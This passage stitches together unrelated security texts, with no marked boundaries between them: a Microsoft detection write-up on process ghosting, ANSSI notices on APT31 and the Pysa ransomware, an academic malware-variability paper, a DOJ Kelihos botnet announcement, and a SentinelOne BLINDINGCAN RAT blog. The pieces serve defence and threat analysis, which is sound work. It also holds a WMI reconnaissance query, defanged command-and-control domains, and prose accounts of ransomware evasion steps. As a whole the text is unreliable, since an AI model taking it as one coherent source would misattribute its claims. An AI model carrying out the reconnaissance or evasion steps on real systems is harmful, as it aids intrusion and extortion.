preserve the atomicity of transactions. Otherwise, a file can be written, deleted, or simply gone when a transaction is to be committed. This function can be used for detection because a non-zero return value means that section coherency has been broken, and the logic switching the backing of the section to the page file has been triggered. This can help determine that the file is in one of the same transient states needed to abuse TOCTOU and evade detection. ## Detection through Microsoft Defender for Endpoint The two primitives discussed earlier can now be combined into detection logic. First, the absence of the GUID_ECP_CREATE_USER_PROCESS ECP will verify if the process was created using the legacy API NtCreateProcessEx. Then, the function MmDoesFileHaveUserWritableReferences checks if the file’s image section is backed by the page file, confirming that the process was created while the file is in a transient state. Meeting both conditions can determine that TOCTOU has been abused, whether by any of the published techniques, or a variation of it that uses similar concepts but abuses a functionality built into a driver to create a similar effect. Microsoft Defender for Endpoint can detect each of the known techniques in this class of stealthy process execution and gives out a specific alert for variations of process ghosting, herpaderping, and doppelganging found in the wild. Apart from the specific alerts for each variation, detections exist for the generalized flow and any abuse of the legacy process creation API, including unpublished variations. This blog post shares Windows internals knowledge and showcases a new detection method in Microsoft Defender for Endpoint that can help prevent detection evasion. Since data and signals from Microsoft Defender for Endpoint also feed into Microsoft 365 Defender, this new detection method further enriches our protection technologies, providing customers a comprehensive and coordinated threat defense against threats. The stealth execution techniques discussed further prove that the threat landscape is constantly evolving, and that attackers will always look for new avenues to evade detection. This highlights the importance of continuous research on potential attack vectors, as well as future-proof solutions. We hope that the principles presented in this blog post can be used by other researchers in developing similar solutions. *Philip Tsukerman, Amir Kutcher, and Tomer Cabouly Microsoft 365 Defender Research Team*
# Campagne d’attaque du mode opératoire APT31 ciblant la France **Date de la première version :** 21 juillet 2021 **Date de la dernière version :** 15 décembre 2021 **Affaire suivie par :** CERT-FR L’ANSSI traite actuellement une vaste campagne de compromission touchant de nombreuses entités françaises. Cette dernière, toujours en cours et particulièrement virulente, est conduite par le mode opératoire APT31 (voir CERTFR-2021-CTI-012 pour plus d’informations). Les investigations montrent que ce mode opératoire compromet des routeurs pour les utiliser comme relais d’anonymisation, préalablement à la conduite d’actions de reconnaissance et d’attaques. Ainsi, des marqueurs, issus des routeurs compromis par l’attaquant, sont fournis pour permettre de rechercher des compromissions (depuis le début de l’année 2021) et de les mettre en détection. Toute détection à partir de ces éléments ne constitue pas nécessairement une preuve de compromission et doit être analysée afin de lever le doute. L’ANSSI rappelle que l’intrusion dans un système d’information est une infraction pénale et pourra mettre en relation toute entité visée dans le cadre de cette campagne avec les services judiciaires compétents. Merci de faire remonter à l’ANSSI tout incident découvert en lien avec cette campagne à l’adresse suivante : [email protected]. **Mise à jour :** Les routeurs compromis dont sont issus les marqueurs de la présente publication ne sont plus utilisés à ce jour par l’attaquant comme relais d’anonymisation. En revanche, ces marqueurs peuvent toujours servir à des fins de recherches de compromission antérieure, depuis le début de l’année 2021. --- ANSSI is currently handling a large intrusion campaign impacting numerous French entities. Attacks are still ongoing and are led by an intrusion set publicly referred as APT31 (see CERTFR-2021-CTI-013 for more information). It appears from our investigations that the threat actor uses a network of compromised home routers as operational relay boxes in order to perform stealth reconnaissance as well as attacks. As such, indicators of compromises (IOCs) are shared to help assess possible compromises (searches should start at the beginning of 2021) and used in detection services. Finding one of the IOCs in logs does not mean the entire system has been compromised and further analysis will be required. ANSSI encourages recipients to report additional information about any incident linked to this campaign and can be reached at [email protected]. **Update :** The infected home routers mentioned in this publication are no longer used by the threat actor. However, the shared IOCs can still be used to assess potential past breaches (from the beginning of 2021 onwards).
# When Malware Changed Its Mind: An Empirical Study of Variable Program Behaviors in the Real World **Erin Avllazagaj, University of Maryland, College Park; Ziyun Zhu, Facebook; Leyla Bilge, NortonLifeLock Research Group; Davide Balzarotti, EURECOM; Tudor Dumitras, University of Maryland, College Park** ## Abstract Behavioral program analysis is widely used for understanding malware behavior, for creating rule-based detectors, and for clustering samples into malware families. However, this approach is ineffective when the behavior of individual samples changes across different executions, owing to environment sensitivity, evasive techniques, or time variability. While the inability to observe the complete behavior of a program is a well-known limitation of dynamic analysis, the prevalence of this behavior variability in the wild, and the behavior components that are most affected by it, are still unknown. As the behavioral traces are typically collected by executing the samples in a controlled environment, the models created and tested using such traces do not account for the broad range of behaviors observed in the wild and may result in a false sense of security. In this paper, we conduct the first quantitative analysis of behavioral variability in Windows malware, PUP, and benign samples, using a novel dataset of 7.6M execution traces, recorded in 5.4M real hosts from 113 countries. We analyze program behaviors at multiple granularities, and we show how they change across hosts and across time. We then analyze the invariant parts of the malware behaviors, and we show how this affects the effectiveness of malware detection using a common class of behavioral rules. Our findings have actionable implications for malware clustering and detection, and they emphasize that program behavior in the wild depends on a subtle interplay of factors that may only be observed at scale, by monitoring malware on real hosts. ## 1 Introduction The ability to understand and model malware behavior plays a key role in many security applications. This typically involves executing samples inside an instrumented environment, designed to collect system and API call traces that can be further analyzed to reconstruct the runtime behavior. Such behavioral analysis methods have been applied to detecting new or polymorphic malware. However, the effectiveness of all these methods depends on their ability to identify invariant parts of the behavioral traces. Consequently, variations in the observed malware behavior, which may arise from adversarial intent or biases in the data collection, can result in models that overfit the analysis environment and fail to generalize to the behavior observed in the wild. Unfortunately, just how much the behavior of malware varies in the wild is a largely open question, outside of a few prominent and well-studied malware families. A common approach to accounting for behavior variability is to acquire multiple samples of the same family and to analyze their executions together, in order to extract the common behaviors of the malware family. However, if the behavior of individual samples varies across different hosts and across time, the common patterns extracted will not be representative of the malware’s behavior on real hosts. In this paper, we conduct the first study to understand and measure the variability in the behavior of malware and potentially unwanted programs (PUP) at scale. We focus on API- and system-call based behavioral profiles, and we conduct a quantitative analysis of per-sample behavioral differences on end hosts. To this end, we use a unique dataset of 7.6M execution traces, recorded in 5.4M real Windows hosts from 113 countries. At the time when the data was collected, it was not known whether the samples were benign or malicious. The samples were executed by the users, who interacted with them naturally, and the behavioral monitoring and analysis was employed as a last line of defense against unwanted behaviors. We measure the variability in the behavior of samples later determined to be malware and PUPs, and we compare it to a baseline we draw from the benign samples. Across executions recorded on different hosts, we found that the number of actions performed (e.g., the creation of a new file or the modification of a registry key) varies 6× more for malware than for benign samples, and this difference increases to 15× when looking at the number of created files. In contrast, different executions recorded weeks apart on the same host do not show such a high range of action variability. When considering action parameters (e.g., filenames), we observe little to no variability across time for benign samples, and a very large variability for malicious samples. We further assess the challenges for identifying the invariant parts of per-sample behaviors, which have implications for building behavioral rule-based detection signatures, and for clustering samples into malware families. We show that, when building rules that use actions and tokenized parameters, the information collected from a single execution is inconclusive, but it is possible to observe most of the behaviors from a few traces. For instance, file names extracted from three different hosts cover, on average, 90% of the executions, and using more than four traces provides diminishing returns. ## 2 Problem and Methodology The main goal of malware analysis is to identify and characterize the behavior of unknown samples such that behavioral indicators that are specific to a malware family could be used for malware detection or classification. Because the behavior of executables could vary depending on when, where, and at what setting it is executed, part of the behavior for any given program is transient in nature. In our dataset, we observed that some executions of the Ramnit worm result in the creation of a large number of mutexes. The reason is that the worm uses a privilege escalation exploit, which creates a lot of mutexes, only if it is executed in user-mode on a vulnerable version of Windows 7. If instead Ramnit is executed with admin privileges or within a different Windows version, the malware would not perform the exploit. To mitigate this problem and identify truly invariant parts of malware behavior, it is important to collect malware executions across multiple machines, as suggested by Rossow et al. and over time, as suggested by Pendlebury et al. Despite these very time-consuming and therefore costly suggestions, the industry practitioners often choose to aggregate the behavior of different samples of a family for signature generation. However, the majority of malicious samples cannot be mapped to a known family, making it impossible to perform such an aggregation. To shed light on the magnitude of this problem, we analyze 7.6M executions out of which 3.1M belong to malicious and unwanted programs and the rest to benign. In total, the executions of each sample span at least 10 machines, while 45% appear at least 1 week from the sample’s first appearance. This measurement, the first of its kind, allows us to assess the amount of behavior variability in the wild, and to study the minimum number of experiments required to rule out transient behaviors and derive signatures that achieve the highest coverage on end hosts. ### 2.1 Measuring Variability We describe the behavior of a sample through its interactions with the host Operating System. Because a semantic interaction, such as creating a new file or spawning an OS process, may be accomplished with various system or API calls, and the calls differ across OS versions, we abstract these interactions as actions. Our actions model high-level operations, such as process injection, file creation, or the modification of a registry key; we report all the action types analyzed in Section 3. An action may have one or several parameters to specify the target that the action is operating on (e.g., the registry key being modified), as well as the actual value it writes or modifies (e.g., the value written in the registry). An execution trace for a sample consists of a sequence of actions and the corresponding parameters. The traces captured by malware detectors based on both system calls and native API calls can be mapped to action-based execution traces. We measure variability at two levels of granularity. First, we count the actions in an execution trace and compute the action variability. We maintain separate counts for each action type, as well as for all the actions taken together. We then compare these counts across all the execution traces of a sample, using several measures of variability as described below. This provides a conservative assessment of variability, indicating for example when a sample creates one file on a host and two on another. We also compare the action parameters coming from different execution traces of the same sample, using measures of set similarity. This parameter variability allows us to identify differences among executions when the number of actions remains the same, for instance when a sample creates a file with different names on each host. This comparison provides further insight into the semantics of the variable actions; for instance, we identify which parameter parts (e.g., the filename vs. the directory path) differ among different executions. ## 3 Dataset The dataset we are using is a collection of 7.6M execution traces that the AV vendor has collected across 5.4M real users during the year of 2018. The data is collected by a component of the AV engine that is responsible for behavior-based detection. This component records high-level behavioral data about the executed programs until they terminate or until the system is able to classify them as either benign or malicious and kill. For the sake of validity, our data only includes programs that terminate normally. Therefore, unlike data collected from sandboxes, our data is not limited to a few minutes of execution and because the traces are collected from real users, they do not suffer from the limitations introduced by synthetic analysis environments. Our data does not consist of malware samples that were executed intentionally for data collection, but samples that at the time of collection were not yet known to be malicious or PUP and were able to evade the static malware detection solution installed on the computers. Our data is a reflection of the set of threats with which the behavioral detection components need to combat. ### Dataset Coverage Statistics Each item in our data consists of a sequence of behavioral actions performed by a sample together with SHA-256 hash of the sample, an anonymous machine identifier, and a timestamp. Thanks to the unique SHA-256 hashes of the samples, we were able to query VirusTotal (VT) in the following year (2019) of the data collection and identify the corresponding labels assigned to those samples by various AV engines. While we labeled the samples that were consistently labeled as benign by all AV products, we label samples as malicious or PUP using AVClass, a state-of-the-art technique for massive malware labeling. From the VT reports obtained in August 2019, AVClass identified 22,443 benign, 2,424 malware, and 1,621 PUP samples. We perform our variability analysis on execution flows we were able to label with high confidence and those that were observed in at least 10 machines. This experimentally chosen threshold made it possible to accurately measure variability at the sample level across different machines. 85% of the samples were executed between 10 and 100 machines, while the rest were observed in more than 100. The data was collected from computers from across 133 countries: USA (48%) and China (14%) have the largest fraction of our data points. ## 4 Behavior Variability in the Wild In this section, we analyze the variability we observed in the behavior of malware, PUP, and benign programs when executed on different end-user machines. We measure both the action variability and the parameter variability, as discussed in Section 2.1. We first conduct these measurements across space (the differences among a sample’s execution traces on different machines) and time (the differences among its traces in different weeks). ### 4.1 Machine Variability We start by measuring the variability of executions of the same sample across different machines. Our goal here is to understand whether this phenomenon exists and if it does, on which type of executables it is more prevalent. #### 4.1.1 Action Variability We analyze action variability through IQR and MAD. In order to understand the impact of the outliers on the results, we also look at the difference among 90-10 and 99-1 percentiles. The action variability of malware is typically higher than that of PUPs, which is typically higher than that of benign programs. The median IQR for malware is 59 actions, which means that the top 25% of a sample’s execution traces are > 59 actions longer than its bottom 25% traces, for half of the malware samples in our dataset. In contrast, the median IQRs are 19.25 and 8 actions for PUP and benign, respectively. ### 4.1.2 Parameter Variability We now take a closer look at the variability in the parameter values. We calculate the Jaccard index among the parameters of the same action types in the execution traces. Our observation was that the parameters values across different machines have a high variability for both malware, PUP, and benign programs. For all of the parameter types, we obtain a Jaccard index of 0, indicating that there is no full value shared across all executions. ### 4.2 Time Variability In this section, we look at how variability is impacted by the time in which a sample is executed. We start again by looking at the volume of actions and then zoom into those actions by including their parameters into the analysis. #### 4.2.1 Total Action Variability We measure the action variability by comparing executions of the samples in different weeks. Since 80% of the samples in our data were executed at most four weeks after the first week of appearance, we measure the per-week time analysis on those next 4 weeks. Malware has the highest number of missing and additional actions. The general takeaway for coarse-grained time variability analysis is that there is a significantly larger time variability in malware compared to PUP and benign samples. #### 4.2.2 Parameter Variability When switching to the fine-grained analysis of each parameter, we now observe a very different picture from the results we obtained by looking at the variability among hosts. In fact, the Jaccard Indexes show that for goodware and PUP there are a large number of perfect matches over time when the sample is re-executed. For the full results, we refer the reader to Table 5 in the Appendix. ## 5 Invariant Analysis Our variability analysis confirms that malware behavior changes over time and on different machines. This indicates that if a behavioral malware detection system is designed with data collected at a fixed time or from a single computer with a particular configuration setting, the real behavior that is common to all possible executions might not be identified correctly. However, as we showed in Section 4.2.1, the fact that malware samples carry large variability across different executions does not rule out the possibility of building accurate detection models from behavior that remains stable. ### 5.1 How Many Hosts Are Enough? One of the main consequences of the findings discussed in Section 4 is that for building more effective and accurate signatures it is necessary to collect multiple data points rather than looking at a single trace collected from one environment. To this end, we measure the number of executions of the same malware in the wild that can be detected by using the tokens extracted from a small set of executions, as well as the number of those executions that are needed to obtain all the malicious tokens. ### 5.2 How Soon Should We Re-Execute? We now investigate the re-execution interval needed to achieve the best coverage in the wild. This is more difficult to measure, as it represents a trade-off. If you re-execute the sample too early, you may learn little and your signature may not catch the behavior that the malware will exhibit in the future. But if you re-execute the sample too far in the future, then your initial model might get outdated before you re-analyze the sample. ### 5.3 Hunting for the Most Invariant Artifacts As we showed in previous sections, the number of file creations is not a good metric to profile a malware sample due to variability. Similarly, the same file name doesn’t appear in all machines. Using more than one file name to profile malware seems like the right choice. While using both variant and invariant features is not going to affect the performance of the detector, we need intuition to be sure we have an invariant in our signature. ## 6 Discussion and Limitations Our study carries some limitations due to the nature of the data that was provided by the security vendor. The data was collected from users who have installed the AV product, who might be in general more careful with the security of their computers and, therefore, might be less exposed to attacks. Although we cannot rule out the possibility of selection bias, the large size of the population in our study, the large fraction of malware, and the large spectrum of variability that we observed in the experiments suggest that our results have a broad applicability. Our data consists of executions of Windows PE files and therefore, our findings might not apply to the behavior of programs that run on other platforms. Another unfortunate limitation is that the data does not contain network events. Previous work, however, has already shown the existence of a high variability in the network events and discussed its impact on the overall behavior of malware. Since our goal is not to establish a root cause for the behavior variability, the lack of network data does not impact our main findings. All samples in our dataset were not flagged neither as benign nor malicious at the time of their collection. Therefore, the data does not include popular benign programs and malware that can be detected by traditional means. However, this might be seen as a limitation because easier to label programs might not show similar variability in their behavior, the set of samples we analyzed also makes our study more unique in its nature. We only analyze those programs that need to be detected by looking at the behavior. In reality, samples that can be identified simply by other means, such as static signatures, do not require a behavioral analysis in the first place. Even if our measurement does not capture the variability of those samples, the impact on behavioral detection would have been irrelevant. Moreover, since our goal is to study variations in the runtime behavior, the analysis can only be performed if a sample is executed multiple times.
# Justice Department Announces Actions to Dismantle Kelihos Botnet April 10, 2017 The Justice Department today announced an extensive effort to disrupt and dismantle the Kelihos botnet – a global network of tens of thousands of infected computers under the control of a cybercriminal that was used to facilitate malicious activities including harvesting login credentials, distributing hundreds of millions of spam e-mails, and installing ransomware and other malicious software. Acting Assistant Attorney General Kenneth A. Blanco of the Justice Department’s Criminal Division, Acting U.S. Attorney Bryan Schroder for the District of Alaska, Assistant Director Scott Smith for the FBI’s Cyber Division, and FBI Special Agent in Charge Marlin Ritzman of the Anchorage Division made the announcement. “The operation announced today targeted an ongoing international scheme that was distributing hundreds of millions of fraudulent e-mails per year, intercepting the credentials to online and financial accounts belonging to thousands of Americans, and spreading ransomware throughout our networks. The ability of botnets like Kelihos to be weaponized quickly for vast and varied types of harms is a dangerous and deep threat to all Americans, driving at the core of how we communicate, network, earn a living, and live our everyday lives,” said Acting Assistant Attorney General Blanco. “Our success in disrupting the Kelihos botnet was the result of strong cooperation between private industry experts and law enforcement, and the use of innovative legal and technical tactics. The Department of Justice is committed to combatting cybercrime, no matter the size or sophistication of the scheme, and to punish those who are engaged in such crimes.” “Cybercrime is a worldwide problem, but one that infects its victims directly through the computers and personal electronic devices that we use every day,” said Acting U.S. Attorney Bryan Schroder for the District of Alaska. “Protecting the American people from such a worldwide threat requires a broad-reaching response, and the dismantling of the Kelihos botnet was such an operation. We are lucky that we have talented FBI agents and federal prosecutors with the skillsets to help protect Americans from this pervasive cybercrime.” “On April 8, 2017, we started the extraordinary task of blocking malicious domains associated with the Kelihos botnet to prohibit further infections,” said FBI Special Agent in Charge Ritzman. “This case demonstrates the FBI’s commitment to finding and eradicating cyber threats no matter where they are in the world.” Kelihos malware targeted computers running the Microsoft Windows operating system. Infected computers became part of a network of compromised computers known as a botnet and were controlled remotely through a decentralized command and control system. According to the civil complaint, Peter Yuryevich Levashov allegedly operated the Kelihos botnet since approximately 2010. The Kelihos malware harvested user credentials by searching infected computers for usernames and passwords and by intercepting network traffic. Levashov allegedly used the information gained from this credential harvesting operation to further his illegal spamming operation which he advertised on various online criminal forums. The Kelihos botnet generated and distributed enormous volumes of unsolicited spam e-mails advertising counterfeit drugs, deceptively promoting stocks in order to fraudulently increase their price (so-called “pump-and-dump” stock fraud schemes), work-at-home scams, and other frauds. Kelihos was also responsible for directly installing additional malware onto victims’ computers, including ransomware and malware that intercepts users’ bank account passwords. As with other botnets, Kelihos is designed to operate automatically and undetected on victims’ computers, with the malicious code secretly sending requests for instructions to the botnet operator. In order to liberate the victim computers from the botnet, the United States obtained civil and criminal court orders in the District of Alaska. These orders authorized measures to neutralize the Kelihos botnet by (1) establishing substitute servers that receive the automated requests for instructions so that infected computers no longer communicate with the criminal operator and (2) blocking any commands sent from the criminal operator attempting to regain control of the infected computers. In seeking authorization to disrupt and dismantle the Kelihos botnet, law enforcement obtained a warrant pursuant to recent amendments to Rule 41 of the Federal Rules of Criminal Procedure. A copy of this warrant along with the other court orders are produced below. The warrant obtained by the government authorizes law enforcement to redirect Kelihos-infected computers to a substitute server and to record the Internet Protocol addresses of those computers as they connect to the server. This will enable the government to provide the IP addresses of Kelihos victims to those who can assist with removing the Kelihos malware including internet service providers. The efforts to disrupt and dismantle the Kelihos botnet were led by the FBI’s Anchorage Office and New Haven Office; Senior Counsel Ethan Arenson and Harold Chun, and Trial Attorney Frank Lin of the Computer Crime and Intellectual Property Section; and Assistant U.S. Attorneys Yvonne Lamoureux and Adam Alexander of the District of Alaska. Critical assistance was also provided by foreign partners, and invaluable technical assistance was provided by Crowd Strike and The Shadow Server Foundation in executing this operation. The details contained in the civil complaint and related pleadings are merely accusations, and the defendant is presumed innocent unless and until proven guilty. The Government has and will continue to share samples of the Kelihos malware with the internet security community so that antivirus vendors can update their programs to detect and remove Kelihos. A number of free and paid antivirus programs are already capable of detecting and removing Kelihos, including the Microsoft Safety Scanner, a free product.
# The BLINDINGCAN RAT and Malicious North Korean Activity There has been a great deal of coverage lately around malicious activities attributed to North Korea (and/or adjacent entities). Most recently, this has culminated in the release of MAR (Malware Analysis Report) AR20-232A, which covers activities associated with the BLINDINGCAN RAT. This tool is the latest in a very long line of tools that allow attackers to maintain access to target environments as well as establish ongoing control of infected hosts. In this post, we give an overview of this campaign in the context of other related campaigns, describing its infection vector, execution, and high-level behavior. ## Infection Vector As we know, email phishing attacks are still the dominant method of delivering malware when it comes to these types of attacks. The BLINDINGCAN campaigns are no different, but their phishing lure comes with an interesting twist: malicious documents utilized in the campaign masquerade as job offers and postings from high-value defense contractors such as Boeing. This isn’t the first time such a lure has been used. Sophisticated attackers have sought to mimic entities in the defense, military, and government space in the past. This is especially true, historically, with campaigns tied to North Korea. Even early on in 2020, Operation North Star followed a very similar modus operandi, and by some accounts, these campaigns may be related. CISA maintains a running repository of North Korean / Hidden Cobra related advisories and details. Their alerts cover campaigns from 2017 to present, including (but not limited to): - WannaCry – Massively destructive “ransomware” with SMB spreading capabilities. - Delta Charlie – Backdoor and Denial-of-Service tool set. - Volgmer – Backdoor. - FALLCHILL – Full-function RAT. - BANKSHOT – RAT and proxy/tunneling tool set. - HARDRAIN – RAT and proxy tool set with Android support. - SHARPKNOT – MBR Wiper. - TYPEFRAME – RAT and proxy/tunneling tool set. - KEYMARBLE – Full-function RAT. - FASTCash – RAT and proxy/tunneling tool set (Financial attacks). - BADCALL – RAT and proxy tool set with Android support. - ELECTRICFISH – proxy/tunneling tool set. - HOPLIGHT – proxy/tunneling tool set with pseudo-SSL spoofing. - ARTFULPIE – Downloader and launcher tool set. - CROWDEDFLOUNDER – Full-function RAT. - TAINTEDSCRIBE – Downloader and launcher with LFSR (Linear Feedback Shift Register) support. - COPPERHEDGE – Full-function RAT, cryptocurrency and crypto-exchange focused. In short, the DPRK has a long history of these types of campaigns, and it does not appear to be letting up in frequency or aggressiveness. Moreover, North Korea is no stranger to playing the ‘long-game’. Reflecting back on earlier attacks from the region (e.g., Operation Troy, Ten Days of Rain, Dark Seoul, and the Sony attack), we see similar tactics and aggressiveness. The BLINDINGCAN campaign has been specifically focused on defense and aerospace targets, primarily based in Europe and the United States. According to AR20-232A: “The FBI has high confidence that HIDDEN COBRA actors are using malware variants in conjunction with proxy servers” along with “compromised infrastructure from multiple countries to host its command and control (C2) infrastructure”. The objective of these attacks is to gain intelligence and to understand the key technologies that fall under the umbrella of the targeted entity, as well as those adjacent to them (contractors, partners, etc.). ## BLINDINGCAN RAT: Execution and Behavior The malicious documents themselves, upon launch, attempt to exploit CVE-2017-0199. This particular flaw allows for remote code execution via maliciously crafted documents. More specifically, CVE-2017-0199 is a result of the flawed processing of RTF files and elements by way of a potent combination of object links and HTA payloads. This vulnerability is a common vector of attack for malicious actors, and despite the flaw being patched long ago, attackers bet on the fact (often successfully) that at least some of their targets will still be exposed to the flaw, allowing them to achieve their foothold. You can see this behavior immediately upon launching one of the malicious documents. The samples we analyzed reach out to a remote server (C2) for additional components. Once established, a keylogging and clipboard monitoring component is dropped, and additional information is extracted from the targeted hosts. WMI commands are utilized to glean basic system details: ``` start iwbemservices::execquery - select * from win32_computersystemproduct ``` The RAT component can be found in both 32 and 64-bit varieties. The executable payloads employ multiple levels of obfuscation. Configuration data for the RAT is embedded in the payloads and is both encrypted and encoded. Embedded configuration artifacts are AES-encrypted with a hard-coded key. Upon decrypting, the resulting data is then decoded via XOR. Strings in the malware are RC4 encrypted. The RAT module will initially pull basic system data. The aforementioned WMI command is part of this system reconnaissance process. In this stage, the malware will pull local network data, system name, OS version details, processor/platform details, and MAC address details, and then push this data to the C2. The core RAT feature set boils down to the following: - Gather and transmit defined set of System features. - Create, terminate and manipulate processes. - Create, terminate and manipulate files. - Self-updating / self-deletion (cleaning of malicious code from the system when necessary). ## Conclusion While the malware and implants discussed here are specific to operations attributed to North Korea, the delivery and weaponization states are common to most other APT groups and non-nation-state backed campaigns. The key takeaways here are 1) it is important to keep abreast of the evolution of malicious attacks generated from this region, but also 2) we can apply what we have learned from other past attacks to improve our posture and reduce overall exposure, along with the potential negative repercussions of suffering from such an attack. Prevention, as always, is key. The SentinelOne Singularity Platform is fully capable of detecting and preventing malicious activity associated with HIDDEN COBRA and BLINDINGCAN. ## Indicators of Compromise **SHA256** - 6a3446b8a47f0ab4f536015218b22653fff8b18c595fbc5b0c09d857eba7c7a1 - 8b53b519623b56ab746fdaf14d3eb402e6fa515cde2113a07f5a3b4050e98050 - 58027c80c6502327863ddca28c31d352e5707f5903340b9e6ccc0997fcb9631d - 7933716892e0d6053057f5f2df0ccadf5b06dc739fea79ee533dd0cec98ca971 **SHA1** - 0ecc687d741c7b009c648ef0de0a5d47213f37ff - 3f6ef29b86bf1687013ae7638f66502bcf883bfd - 9feef1eed2a8a5cbfe1c6478f2740d8fe63305e2 - C70edfaf2c33647d531f7df76cd4e5bb4e79ea2e **Domains** - agarwalpropertyconsultants[.]com - curiofirenze[.]com - automercado.co[.]cr **MITRE ATT&CK** - Phishing: Spearphishing Attachment [T1566] - Command and Scripting Interpreter: PowerShell [T1059] - Exploitation for Client Execution [T1203] - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder [T1547] - Process Injection [T1055] - Deobfuscate/Decode Files or Information [T1140] - System Time Discovery [T1124] - Account Discovery [T1087] - Query Registry [T1012] - Process Discovery [T1424] - System Owner/User Discovery [T1033] - Automated Collection [T1119] - Data from Local System [T1533] - Remote File Copy [T1544] - Automated Exfiltration [T1020] - Exfiltration Over C2 Channel [T1041]
# Attacks Involving the Mespinoza/Pysa Ransomware ## 1 Context In the past few weeks, ANSSI became aware of cyber attacks targeting French local authorities. These attacks involved ransomwares whose users resulted in several encrypted files. The origin of these attacks is still unknown, and investigations are in progress. However, ransomware attacks are usually opportunistic and driven by a lucrative purpose. This document aims at describing the behaviour of the intrusion set involved in these attacks, as well as providing related indicators of compromise. ## 2 Technical Analysis The operation detailed in this document targeted interconnected information systems and seems to leverage a variant of ransomware known in open sources as Mespinoza. Note that the technical elements presented thereafter come from ongoing analysis and are prone to evolve. ### 2.1 The Mespinoza/Pysa Ransomware The Mespinoza ransomware was first used in October 2018 at least. The first versions produced encrypted files carrying the ".locked" extension, common to many ransomwares. Since December 2019, a new version of Mespinoza is documented in open sources. This version is often called Pysa because it produces encrypted files with the ".pysa" extension. #### 2.1.1 Two Versions of the Ransomware The ransomware used in this attack seems to be a variant of Pysa. Two versions were discovered during the investigations: - An executable file named "svchost.exe". This file came along with several .bat scripts whose purpose was to copy the executable in the "C:\windows\temp" directory (which is not the legitimate location of the standard service host) and to execute it. - A Python archive named "17535.pyz", that contained the Python source code of the ransomware. | Filename | SHA-1 | Size (bytes) | |----------------|-----------------------------------------|--------------| | svchost.exe | 52b2fc13ec0dbf8a0250c066cd3486b635a27827 | 516608 | | 17535.pyz | c74378a93806628b62276195f9657487310a96fd | 279590 | **The Windows Executable Version** The executable version of the ransomware drops and executes a script named "update.bat" whose purpose is to delete it after execution. Several system artefacts are generated by the ransomware. First, the malicious code creates a Mutex named "Pysa". Then, it modifies the registry key SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System to add the following entries: - "legalnoticetext = [Ransom demand message]" - "legalnoticecaption = PYSA" Finally, the encryption routine contains a list of targeted file extensions for encryption, as well as a list of strings identifying the critical files that should be spared (for instance, ":\Windows"). The files created by the encryption routine carry the ".pysa" extension. These observations are perfectly consistent with those regarding previous Pysa samples analysed in open sources. **The Python Version** The Python archive "17535.pyz" is made of a run.py file together with Python libraries pyaes and rsa that are in charge of the encryption function. The run.py file contains the ransomware configuration, including the RSA public key used for encryption, the ransom demand message as well as a variable allowing to choose the extension of the encrypted files. In the present version, this variable contained the value ".pysa". The run.py file also contains an instruction allowing to delete the ransomware after execution. #### 2.1.2 Ransom Demand Messages Out of the ".pysa" file extension, there is no evidence indicating that both versions of the ransomware were leveraged by the same intrusion set. However, both create a ransom demand file, in the form of a pop-up window and a "Readme.README" file for the first, and a file named "RECOVER_YOUR_DATA.txt" for the second. These ransom demands are written in English, but contain several mistakes. Despite being different, both messages contain identical strings such as "To get all your data back contact us:". One of them also offers free decryption of two files, as a proof of good faith. These characteristics were also available in former versions of the Pysa ransomware. Finally, both ransom demand messages contain PROTONMAIL e-mail addresses that seem to be generated from randomly chosen names. Note that both ransom demand messages contain the same e-mail addresses. Moreover, similar e-mail addresses were used in former versions of the Pysa ransomware. #### 2.1.3 A Third Ransomware On one of the compromised information systems, a third ransomware has been used. This ransomware is made of two PowerShell scripts named "step1.ps1" and "step2.ps1". | Filename | SHA-1 | Size (bytes) | |----------------|-----------------------------------------|--------------| | step1.ps1 | - | 12066 | | step2.ps1 | 24c592ad9b21df380cb4f39a85d4375b6a8a6175 | 4869 | These codes operate in the following manner: - The purpose of "step1.ps1" is to produce a list of files of the compromised system. The script contains some regular expressions whose aim is to avoid some critical directories and files, as in Pysa’s binary version. The filenames are base-64 encoded (and separated by a “|” character), and then given as a parameter to "step2.ps1". - In order to launch "step2.ps1", the "step1.ps1" script creates a copy of powershell.exe under a random name of the form "EnNoB-X.exe", where X is an integer ranging between 1000 and 9876. (The code of "step1.ps1" thus contains the path of "step2.ps1" on the victim’s machine, which is the reason why its hash is not mentioned above.) - The "step2.ps1" script does encrypt the files passed in parameter. To do so, it contains an RSA public key and uses the AES-CBC algorithm. Again, the script contains a list of file extensions to be spared. In this version, the encrypted files carry the ".newversion" extension, which can be modified in the script. Finally, "step2.ps1" contains an instruction that deletes the copy of powershell.exe that is responsible for its execution. The "step1.ps1" script creates a ransom demand file named "Readme.READ". Albeit very short, this message contains the same PROTONMAIL e-mail addresses as above. It is thus likely that all these attacks were led by the same intrusion set. To conclude, note that none of the analysed ransomwares has a self-propagation capability. ### 2.2 Tactics, Techniques and Procedures Several artefacts tied to the intrusion set’s activity were observed on the compromised information systems. #### 2.2.1 Infection Vector, Reconnaissance and Lateral Movement The initial infection vector is currently unknown, but several events that occurred before the attack could be linked to the intrusion set and its initial access or lateral movement methods. - Some brute force attempts were observed on a central management console, as well as on some ACTIVE DIRECTORY accounts. Moreover, some domain administrator accounts were indeed compromised. - A password database has been exfiltrated shortly before the attack. - Some illegitimate RDP connections occurred between domain controllers using an unknown hostname potentially linked to the intrusion set. The ".bat" scripts used by the intrusion set to copy and execute the ransomware reveal a significant use of the remote administration tool PsExec, as well as the PowerShell language. The analysis of compromised machines also revealed the presence of several Mimikatz samples, potentially used to gain access to credentials. Finally, the network reconnaissance tools Advanced Port Scanner and Advanced IP Scanner by FAMATECH were discovered on the information system. #### 2.2.2 Stealth and Resilience One of the aforementioned ".bat" scripts is dedicated to the execution of a PowerShell script named "p.ps1" on machines across the network. This script has several functionalities, among which: - Stopping antivirus services, some other services and processes, as well as uninstalling WINDOWS DEFENDER. - Deleting restore points and shadow copies. - Modifying README files to allow double-click opening. - Broadcasting the MAC address of the machine in a UDP datagram sent over port 7. - Modifying local accounts passwords. It seems that this script is used to improve stealth, maintain access to the network and mostly prepare the ransomware execution. The last functionality suggests that the intrusion set has a program listening over port 7, but such a program has not been discovered at the time of writing. Several tools discovered on the information system may have allowed the attacker to maintain access to some machines or to exfiltrate data, such as Putty or WinSCP. #### 2.2.3 Command and Control **Remote Access Tool in Go** The following binary was found on several compromised machines. | SHA-1 | Size (bytes) | |-----------------------------------------|--------------| | f2dda8720a5549d4666269b8ca9d629ea8b76bdf | 5207040 | This file was discovered under several legitimate filenames as sshsc.exe or explorer.exe. One was 